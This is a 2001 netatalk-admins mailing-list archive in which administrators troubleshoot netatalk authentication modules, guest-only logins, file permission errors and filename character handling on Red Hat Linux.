From netatalk.administrators-errors@umich.edu  Fri Apr  6 12:44:01 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA17827
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 6 Apr 2001 12:44:01 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA05293
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 6 Apr 2001 12:44:01 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA05270
	for netatalk.administrators-members@umich.edu; Fri, 6 Apr 2001 12:44:00 -0400 (EDT)
Received: from ccgate.goldenbooks.com (mail.goldenbooks.com [205.243.222.114])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA05243
	for <netatalk-admins@umich.edu>; Fri, 6 Apr 2001 12:43:59 -0400 (EDT)
From: JSherry@goldenbooks.com
Received: from ccMail by ccgate.goldenbooks.com
  (IMA Internet Exchange 3.11) id 0018427C; Fri, 6 Apr 2001 10:45:52 -0500
Mime-Version: 1.0
Date: Fri, 6 Apr 2001 12:41:00 -0500
Message-ID: <0018427C.C21126@goldenbooks.com>
Subject: Guest Access only, no authentication
To: netatalk-admins@umich.edu
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Content-Description: cc:Mail note part

I'm a linux neophyte. I managed to get netatalk up and running following the
infamous Anders instructions. Only guest access is an option. If I disable
guest, I get the error that basically says "couldn't find appropriate UAM on
your client computer". I've got cleartext enabled. I added -DSHADOWPW and
recompiled, still no authentication.

I'm running a standard server install of Redhat 7, and added DES, etc. per the
instructions, frankly 'cause I found it easier ultimately to add all
authentication options than to find all the lines to comment out, when I was
compiling.

Any tips would be appreciated.

Jonathan Sherry
Manager of Publishing & Production Systems
Golden Books

From netatalk.administrators-errors@umich.edu  Fri Apr  6 12:59:45 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA18151
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 6 Apr 2001 12:59:45 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA18418
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 6 Apr 2001 12:59:45 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA18374
	for netatalk.administrators-members@umich.edu; Fri, 6 Apr 2001 12:59:43 -0400 (EDT)
Received: from potsdam.edu (potsdam.edu [137.143.110.101])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id MAA18333
	for <netatalk-admins@umich.edu>; Fri, 6 Apr 2001 12:59:42 -0400 (EDT)
Received: (qmail 28081 invoked by alias); 6 Apr 2001 16:59:49 -0000
Received: (qmail 28068 invoked by uid 0); 6 Apr 2001 16:59:48 -0000
Received: from comp10574.potsdam.edu (137.143.111.133)
  by potsdam.edu with SMTP; 6 Apr 2001 16:59:48 -0000
Subject: Re: Guest Access only, no authentication
From: Matthew Keller <kellermg@potsdam.edu>
To: JSherry@goldenbooks.com
Cc: netatalk-admins@umich.edu
In-Reply-To: <0018427C.C21126@goldenbooks.com>
References: <0018427C.C21126@goldenbooks.com>
Content-Type: text/plain
X-Mailer: Evolution/0.10+cvs.2001.04.06.08.06 (Preview Release)
Date: 06 Apr 2001 12:59:40 -0400
Message-Id: <986576380.3486.6.camel@comp10574.potsdam.edu>
Mime-Version: 1.0


    What version of Netatalk?

On 06 Apr 2001 12:41:00 -0500, JSherry@goldenbooks.com wrote:
> I'm a linux neophyte. I managed to get netatalk up and running following the
> infamous Anders instructions. Only guest access is an option. If I disable
> guest, I get the error that basically says "couldn't find appropriate UAM on
> your client computer". I've got cleartext enabled. I added -DSHADOWPW and
> recompiled, still no authentication.
> 
> I'm running a standard server install of Redhat 7, and added DES, etc. per the
> instructions, frankly 'cause I found it easier ultimately to add all
> authentication options than to find all the lines to comment out, when I was
> compiling.
> 
> Any tips would be appreciated.
> 
> Jonathan Sherry
> Manager of Publishing & Production Systems
> Golden Books
> 
> 

-- 

Matthew Keller
Enterprise System Analyst
Computing & Technology Services
Information Services Division
State University of NY at Potsdam

http://mattwork.potsdam.edu/


From netatalk.administrators-errors@umich.edu  Fri Apr  6 13:15:34 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA18843
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 6 Apr 2001 13:15:34 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA13827
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 6 Apr 2001 13:15:34 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA13784
	for netatalk.administrators-members@umich.edu; Fri, 6 Apr 2001 13:15:32 -0400 (EDT)
Received: from pete.uri.edu (PETE.URI.EDU [131.128.1.12])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA12202
	for <netatalk-admins@umich.edu>; Fri, 6 Apr 2001 13:15:02 -0400 (EDT)
Received: from [131.128.89.102] ([131.128.89.102])
	by pete.uri.edu (8.9.1/8.9.1) with SMTP id NAA30446
	for <netatalk-admins@umich.edu>; Fri, 6 Apr 2001 13:14:17 -0400 (EDT)
Message-Id: <v01550104b6f3a422c0db@[131.128.89.102]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Fri, 6 Apr 2001 13:12:07 -0400
To: netatalk-admins@umich.edu
From: cma@uri.edu (Christopher M. Anderson)
Subject: Permissions for creating files

Hello all,

I'm running netatalk 1.5pre5 on a 2.2.17-14smp kernel (redhat 6.2
distribution).  I can see the linux box in the chooser, connect via tcp,
and open and manipulate existing files.  However, whenever I copy a file
from the mac to the linux box, or try to save a file from a mac application
to the linux box, I get the message:  "The item <item> cannot be written
because it is locked."

Wading through the .AppleDouble directory (permissions 711), existing linux
box files have permissions 600 and an empty file by the name of the file I
tried to save/copy with permissions 000 (hence the locking?).  Similarly,
if I try to trash an existing linux file, I am told I do not have
permissions.

I think there are some clues in my /messages log, but I'm new enough to
linux not to know what they mean:
at login:
Apr  5 23:04:52 bandit afpd[19308]: dhx login: xyz
Apr  5 23:04:52 bandit afpd[19308]: uams_dhx_pam.c :PAM: PAM Success -- No such
file or directory
Apr  5 23:04:52 bandit PAM_pwdb[19308]: (netatalk) session opened for user xyz b
y (uid=0)
Apr  5 23:04:52 bandit afpd[19308]: uams_dhx_pam.c :PAM: PAM Auth OK!: (null) --
 Inappropriate ioctl for device
Apr  5 23:04:52 bandit afpd[19308]: login xyz (uid 500, gid 100)

Then, when I try to copy a file:

Apr  5 23:05:06 bandit afpd[19308]: setdirowner: chown -1/0 .AppleDouble/.Parent
: Operation not permitted

Am I having an authentication problem when I login through appletalk, and
that's preventing me from getting thr right permissions to create files
(and if so, how do I fix it), or do I have a something set incorrectly
within netatalk?

Thanks for any ideas,

Chris



From netatalk.administrators-errors@umich.edu  Fri Apr  6 13:18:21 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA18921
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 6 Apr 2001 13:18:20 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA29344
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 6 Apr 2001 13:17:30 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA29318
	for netatalk.administrators-members@umich.edu; Fri, 6 Apr 2001 13:17:29 -0400 (EDT)
Received: from post.xecu.net (post.xecu.net [216.127.136.211])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA29287
	for <netatalk-admins@umich.edu>; Fri, 6 Apr 2001 13:17:28 -0400 (EDT)
Received: from pippin.fred.net (gandalf.cust.planetcable.net [24.137.17.39])
	by post.xecu.net (Postfix) with ESMTP id 41AA649C3
	for <netatalk-admins@umich.edu>; Fri,  6 Apr 2001 13:17:34 -0400 (EDT)
Message-Id: <5.0.2.1.2.20010406125624.01aebbf0@fred.net>
X-Sender: pippin@fred.net
X-Mailer: QUALCOMM Windows Eudora Version 5.0.2
Date: Fri, 06 Apr 2001 13:17:19 -0400
To: netatalk-admins@umich.edu
From: Walt <pippin@fred.net>
Subject: Re: Guest Access only, no authentication
In-Reply-To: <0018427C.C21126@goldenbooks.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

I've intalled this a couple times, but if you
are running RedHat is there a particular
reason you can't install from the RPM?

I've never gotten anything but clear text
passwords to work with the 1.4asun rpm
but that build seems to work mostly fine.

Walt

-~

     The world continues to offer glittering prizes to those
     who have stout hearts and sharp swords.
                         Earl of Birkenhead


From netatalk.administrators-errors@umich.edu  Fri Apr  6 13:27:51 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA19184
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 6 Apr 2001 13:27:51 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA12733
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 6 Apr 2001 13:27:44 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA12672
	for netatalk.administrators-members@umich.edu; Fri, 6 Apr 2001 13:27:42 -0400 (EDT)
Received: from monterosa.urbanet.ch (monterosa.urbanet.ch [195.202.193.104])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id NAA11460
	for <netatalk-admins@umich.edu>; Fri, 6 Apr 2001 13:27:36 -0400 (EDT)
Received: (qmail 28914 invoked from network); 6 Apr 2001 17:26:59 -0000
Received: from unknown (HELO mi-note.media-aera.ch) (195.202.208.116)
  by monterosa.urbanet.ch with SMTP; 6 Apr 2001 17:26:59 -0000
Message-Id: <4.3.2.7.2.20010406191929.00cb7b80@net1.alma.ch>
X-Sender: mi@net1.alma.ch
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Fri, 06 Apr 2001 19:26:09 +0200
To: <netatalk-admins@umich.edu>
From: Milivoj Ivkovic <mi@alma.ch>
Subject: reject special characters in file names?
In-Reply-To: <v04210a00b6e52e686994@[192.168.200.10]>
References: < <Pine.LNX.4.30.0103260912540.1282-100000@hooloovoo.math.ohio-state.edu>
 <Pine.LNX.4.30.0103260912540.1282-100000@hooloovoo.math.ohio-state.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

Is it possible to configure netatalk to reject certain characters in 
file/folder names?

We have a mixed Windows/Mac environment, and characters like "/", which are 
OK for Macs and used a lot, cause problems in Windows/Samba.

As it is, Netatalk encodes the character so it's ok on Unix ("/" becomes 
":2f"), but then the file/folder cannot be accesses from Windows.

Thanks!

Milivoj


From netatalk.administrators-errors@umich.edu  Fri Apr  6 13:31:32 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA19337
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 6 Apr 2001 13:31:32 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA16722
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 6 Apr 2001 13:31:24 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA16698
	for netatalk.administrators-members@umich.edu; Fri, 6 Apr 2001 13:31:22 -0400 (EDT)
Received: from trinity.magpage.com (trinity.magpage.com [216.155.0.8])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA15219
	for <netatalk-admins@umich.edu>; Fri, 6 Apr 2001 13:31:20 -0400 (EDT)
Received: from [216.155.36.73] ([216.155.36.73])
	by trinity.magpage.com (8.11.2/8.11.2) with ESMTP id f36HUA873081
	for <netatalk-admins@umich.edu>; Fri, 6 Apr 2001 13:30:10 -0400 (EDT)
Mime-Version: 1.0
X-Sender: ryannm@mail.magpage.com
Message-Id: <v04210107b6f3ac546097@[216.155.36.73]>
In-Reply-To: <v01550104b6f3a422c0db@[131.128.89.102]>
References: <v01550104b6f3a422c0db@[131.128.89.102]>
Date: Fri, 6 Apr 2001 13:30:09 -0400
To: netatalk-admins@umich.edu
From: Ryan McBeth <ryan@mobiusnm.com>
Subject: Re: Permissions for creating files
Content-Type: text/plain; charset="us-ascii" ; format="flowed"


	Christopher,

	I had the same problem a few weeks ago.  I'm running this on 
redhat as well.

	A kind soul sent me 1.5pre3 (although everyone insists that 
there *was* no pre3).  And 1.5pre3 seemed to work.  In fact, my whole 
company is accessing through 1.5pre3.

	I'll send it to you.

	Ryan

>Hello all,
>
>I'm running netatalk 1.5pre5 on a 2.2.17-14smp kernel (redhat 6.2
>distribution).  I can see the linux box in the chooser, connect via tcp,
>and open and manipulate existing files.  However, whenever I copy a file
>from the mac to the linux box, or try to save a file from a mac application
>to the linux box, I get the message:  "The item <item> cannot be written
>because it is locked."
>
>Wading through the .AppleDouble directory (permissions 711), existing linux
>box files have permissions 600 and an empty file by the name of the file I
>tried to save/copy with permissions 000 (hence the locking?).  Similarly,
>if I try to trash an existing linux file, I am told I do not have
>permissions.
>
>I think there are some clues in my /messages log, but I'm new enough to
>linux not to know what they mean:
>at login:
>Apr  5 23:04:52 bandit afpd[19308]: dhx login: xyz
>Apr  5 23:04:52 bandit afpd[19308]: uams_dhx_pam.c :PAM: PAM Success 
>-- No such
>file or directory
>Apr  5 23:04:52 bandit PAM_pwdb[19308]: (netatalk) session opened 
>for user xyz b
>y (uid=0)
>Apr  5 23:04:52 bandit afpd[19308]: uams_dhx_pam.c :PAM: PAM Auth 
>OK!: (null) --
> Inappropriate ioctl for device
>Apr  5 23:04:52 bandit afpd[19308]: login xyz (uid 500, gid 100)
>
>Then, when I try to copy a file:
>
>Apr  5 23:05:06 bandit afpd[19308]: setdirowner: chown -1/0 
>.AppleDouble/.Parent
>: Operation not permitted
>
>Am I having an authentication problem when I login through appletalk, and
>that's preventing me from getting thr right permissions to create files
>(and if so, how do I fix it), or do I have a something set incorrectly
>within netatalk?
>
>Thanks for any ideas,
>
>Chris

__________________________________
Ryan McBeth
Systems Administrator, Mobius New Media
Voice: (302) 475-9880 x11
FAX: (302) 475-9894
www.mobiusnm.com
__________________________________
"The NeXT Computer: The hardware makes it a PC,
the software makes it a workstation, the unit
sales makes it a mainframe."
-Anon.


From netatalk.administrators-errors@umich.edu  Fri Apr  6 13:35:06 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA19423
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 6 Apr 2001 13:35:05 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA09451
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 6 Apr 2001 13:35:05 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA09438
	for netatalk.administrators-members@umich.edu; Fri, 6 Apr 2001 13:35:05 -0400 (EDT)
Received: from trinity.magpage.com (trinity.magpage.com [216.155.0.8])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA09403
	for <netatalk-admins@umich.edu>; Fri, 6 Apr 2001 13:35:03 -0400 (EDT)
Received: from [216.155.36.73] ([216.155.36.73])
	by trinity.magpage.com (8.11.2/8.11.2) with ESMTP id f36HZ3875137
	for <netatalk-admins@umich.edu>; Fri, 6 Apr 2001 13:35:03 -0400 (EDT)
Mime-Version: 1.0
X-Sender: ryannm@mail.magpage.com
Message-Id: <v0421010ab6f3ae4dd76c@[216.155.36.73]>
Date: Fri, 6 Apr 2001 13:35:01 -0400
To: netatalk-admins@umich.edu
From: Ryan McBeth <ryan@mobiusnm.com>
Subject: Re: Permissions for creating files - CORRECTION!
Content-Type: text/plain; charset="us-ascii" ; format="flowed"



	I just wanted to apologize to the group.  I went on for about 
3 sentences about "pre3" and as it turns out, I'm using 
netatalk-1.5pre2-4.i386.rpm .  Sorry for any confusion.  I really 
should lay off the packet lubricant until the *end* of the day.

	Ryan
__________________________________
Ryan McBeth
Systems Administrator, Mobius New Media
Voice: (302) 475-9880 x11
FAX: (302) 475-9894
www.mobiusnm.com
__________________________________
"The NeXT Computer: The hardware makes it a PC,
the software makes it a workstation, the unit
sales makes it a mainframe."
-Anon.


From netatalk.administrators-errors@umich.edu  Fri Apr  6 13:40:29 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA19610
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 6 Apr 2001 13:40:28 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA16141
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 6 Apr 2001 13:40:28 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA16117
	for netatalk.administrators-members@umich.edu; Fri, 6 Apr 2001 13:40:28 -0400 (EDT)
Received: from potsdam.edu (potsdam.edu [137.143.110.101])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id NAA16097
	for <netatalk-admins@umich.edu>; Fri, 6 Apr 2001 13:40:27 -0400 (EDT)
Received: (qmail 9325 invoked by alias); 6 Apr 2001 17:40:32 -0000
Received: (qmail 9312 invoked by uid 0); 6 Apr 2001 17:40:31 -0000
Received: from comp10574.potsdam.edu (137.143.111.133)
  by potsdam.edu with SMTP; 6 Apr 2001 17:40:31 -0000
Subject: Re: Permissions for creating files
From: Matthew Keller <kellermg@potsdam.edu>
To: Christopher "M." Anderson <cma@uri.edu>
Cc: netatalk-admins@umich.edu
In-Reply-To: <v01550104b6f3a422c0db@[131.128.89.102]>
References: <v01550104b6f3a422c0db@[131.128.89.102]>
Content-Type: text/plain
X-Mailer: Evolution/0.10+cvs.2001.04.06.08.06 (Preview Release)
Date: 06 Apr 2001 13:40:24 -0400
Message-Id: <986578824.3486.11.camel@comp10574.potsdam.edu>
Mime-Version: 1.0


I believe that this was fixed after the release - Try a build from CVS
(but also expect to find OTHER things broken ;)

On 06 Apr 2001 13:12:07 -0400, Christopher M. Anderson wrote:
> Hello all,
> 
> I'm running netatalk 1.5pre5 on a 2.2.17-14smp kernel (redhat 6.2
> distribution).  I can see the linux box in the chooser, connect via tcp,
> and open and manipulate existing files.  However, whenever I copy a file
> from the mac to the linux box, or try to save a file from a mac application
> to the linux box, I get the message:  "The item <item> cannot be written
> because it is locked."
> 
> Wading through the .AppleDouble directory (permissions 711), existing linux
> box files have permissions 600 and an empty file by the name of the file I
> tried to save/copy with permissions 000 (hence the locking?).  Similarly,
> if I try to trash an existing linux file, I am told I do not have
> permissions.
> 
> I think there are some clues in my /messages log, but I'm new enough to
> linux not to know what they mean:
> at login:
> Apr  5 23:04:52 bandit afpd[19308]: dhx login: xyz
> Apr  5 23:04:52 bandit afpd[19308]: uams_dhx_pam.c :PAM: PAM Success -- No such
> file or directory
> Apr  5 23:04:52 bandit PAM_pwdb[19308]: (netatalk) session opened for user xyz b
> y (uid=0)
> Apr  5 23:04:52 bandit afpd[19308]: uams_dhx_pam.c :PAM: PAM Auth OK!: (null) --
>  Inappropriate ioctl for device
> Apr  5 23:04:52 bandit afpd[19308]: login xyz (uid 500, gid 100)
> 
> Then, when I try to copy a file:
> 
> Apr  5 23:05:06 bandit afpd[19308]: setdirowner: chown -1/0 .AppleDouble/.Parent
> : Operation not permitted
> 
> Am I having an authentication problem when I login through appletalk, and
> that's preventing me from getting thr right permissions to create files
> (and if so, how do I fix it), or do I have a something set incorrectly
> within netatalk?
> 
> Thanks for any ideas,
> 
> Chris
> 
> 
> 

-- 

Matthew Keller
Enterprise System Analyst
Computing & Technology Services
Information Services Division
State University of NY at Potsdam

http://mattwork.potsdam.edu/


From netatalk.administrators-errors@umich.edu  Fri Apr  6 14:11:09 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA20549
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 6 Apr 2001 14:11:08 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA10843
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 6 Apr 2001 14:11:07 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA10818
	for netatalk.administrators-members@umich.edu; Fri, 6 Apr 2001 14:11:07 -0400 (EDT)
Received: from dionysus.terrascope.com (www.terrascope.com [63.140.215.162])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA10781
	for <netatalk-admins@umich.edu>; Fri, 6 Apr 2001 14:11:05 -0400 (EDT)
Received: from terrascope.com (localhost.localdomain [127.0.0.1])
	by dionysus.terrascope.com (8.11.0/8.11.0) with ESMTP id f36IKCb15651;
	Fri, 6 Apr 2001 11:20:12 -0700
Sender: walt@dionysus.terrascope.com
Message-ID: <3ACE08DC.6811ED11@terrascope.com>
Date: Fri, 06 Apr 2001 11:20:12 -0700
From: Walt Reed <walt@terrascope.com>
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.4.2 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: JSherry@goldenbooks.com, netatalk-admins@umich.edu
Subject: Re: Guest Access only, no authentication
References: <0018427C.C21126@goldenbooks.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

are you running os 9?  i've had problems with user authentication from 8.6 and
earlier.  once i moved everyone to os 9 i was able to disable cleartext passwords
on the shares.  i'm running 1.5pre3 on redhat 7.0 boxes.  you might try adding
"-uamlist uams_clrtxt.so" to your afpd.conf if you are using one of the 1.5preX
(just to get a login, then you can config for crypto later).  if you are suddenly
able to log in, you know it's a uams issue.  then you can either update the mac
os if you need to, or figure out what's going on with pam.

i also liked the other walt's advice on using an rpm.  i've had good experience
with mine.

w

JSherry@goldenbooks.com wrote:

> I'm a linux neophyte. I managed to get netatalk up and running following the
> infamous Anders instructions. Only guest access is an option. If I disable
> guest, I get the error that basically says "couldn't find appropriate UAM on
> your client computer". I've got cleartext enabled. I added -DSHADOWPW and
> recompiled, still no authentication.
>
> I'm running a standard server install of Redhat 7, and added DES, etc. per the
> instructions, frankly 'cause I found it easier ultimately to add all
> authentication options than to find all the lines to comment out, when I was
> compiling.
>
> Any tips would be appreciated.
>
> Jonathan Sherry
> Manager of Publishing & Production Systems
> Golden Books


From netatalk.administrators-errors@umich.edu  Fri Apr  6 14:29:18 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA21337
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 6 Apr 2001 14:29:17 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA25278
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 6 Apr 2001 14:29:17 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA25259
	for netatalk.administrators-members@umich.edu; Fri, 6 Apr 2001 14:29:17 -0400 (EDT)
Received: from ccgate.goldenbooks.com (mail.goldenbooks.com [205.243.222.114])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA25203
	for <netatalk-admins@umich.edu>; Fri, 6 Apr 2001 14:29:15 -0400 (EDT)
From: JSherry@goldenbooks.com
Received: from ccMail by ccgate.goldenbooks.com
  (IMA Internet Exchange 3.11) id 0018445C; Fri, 6 Apr 2001 12:31:22 -0500
Mime-Version: 1.0
Date: Fri, 6 Apr 2001 14:22:00 -0500
Message-ID: <0018445C.C21126@goldenbooks.com>
Subject: RE: Guest Access only, no authentication
To: Matthew Keller <kellermg@potsdam.edu>
Cc: netatalk-admins@umich.edu
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Content-Description: cc:Mail note part

1.4b2+asun2.1.3

-----Original Message-----
From:     Matthew Keller <kellermg@potsdam.edu> at Internet-RAC
Sent:     Friday, April 06, 2001 1:07 PM
To:     Sherry, Jonathan
Cc:     netatalk-admins@umich.edu at Internet-RAC
Subject:     RE: Guest Access only, no authentication


    What version of Netatalk?

On 06 Apr 2001 12:41:00 -0500, JSherry@goldenbooks.com wrote:
> I'm a linux neophyte. I managed to get netatalk up and running following the
> infamous Anders instructions. Only guest access is an option. If I disable
> guest, I get the error that basically says "couldn't find appropriate UAM on
> your client computer". I've got cleartext enabled. I added -DSHADOWPW and
> recompiled, still no authentication.
>
> I'm running a standard server install of Redhat 7, and added DES, etc. per the
> instructions, frankly 'cause I found it easier ultimately to add all
> authentication options than to find all the lines to comment out, when I was
> compiling.
>
> Any tips would be appreciated.
>
> Jonathan Sherry
> Manager of Publishing & Production Systems
> Golden Books
>
>

--

Matthew Keller
Enterprise System Analyst
Computing & Technology Services
Information Services Division
State University of NY at Potsdam

http://mattwork.potsdam.edu/

From netatalk.administrators-errors@umich.edu  Fri Apr  6 14:57:52 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA22329
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 6 Apr 2001 14:57:51 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA05712
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 6 Apr 2001 14:57:50 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA05693
	for netatalk.administrators-members@umich.edu; Fri, 6 Apr 2001 14:57:49 -0400 (EDT)
Received: from ccgate.goldenbooks.com (mail.goldenbooks.com [205.243.222.114])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA05508
	for <netatalk-admins@umich.edu>; Fri, 6 Apr 2001 14:57:48 -0400 (EDT)
From: JSherry@goldenbooks.com
Received: from ccMail by ccgate.goldenbooks.com
  (IMA Internet Exchange 3.11) id 001844F8; Fri, 6 Apr 2001 12:59:49 -0500
Mime-Version: 1.0
Date: Fri, 6 Apr 2001 14:46:00 -0500
Message-ID: <001844F8.C21126@goldenbooks.com>
Subject: RE: Guest Access only, no authentication
To: netatalk-admins@umich.edu
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Content-Description: cc:Mail note part

my login attempts were from OS 9.1. Cleartext would be fine. I disabled guest by
specifying only uams_clrtxt.so in my uamlist. Of course I tried adding other
non-guest UAMS to the list, even though I'm not certain the Mac OS supports
them. Which UAM are your users currently authenticating with?

Guess I'd better try the RPM. :)

-----Original Message-----
From:     Walt Reed <walt@terrascope.com> at Internet-RAC
Sent:     Friday, April 06, 2001 11:20 AM
To:     Sherry, Jonathan; netatalk-admins@umich.edu at Internet-RAC
Subject:     RE: Guest Access only, no authentication

are you running os 9?  i've had problems with user authentication from 8.6 and
earlier.  once i moved everyone to os 9 i was able to disable cleartext
passwords
on the shares.  i'm running 1.5pre3 on redhat 7.0 boxes.  you might try adding
"-uamlist uams_clrtxt.so" to your afpd.conf if you are using one of the 1.5preX
(just to get a login, then you can config for crypto later).  if you are
suddenly
able to log in, you know it's a uams issue.  then you can either update the mac
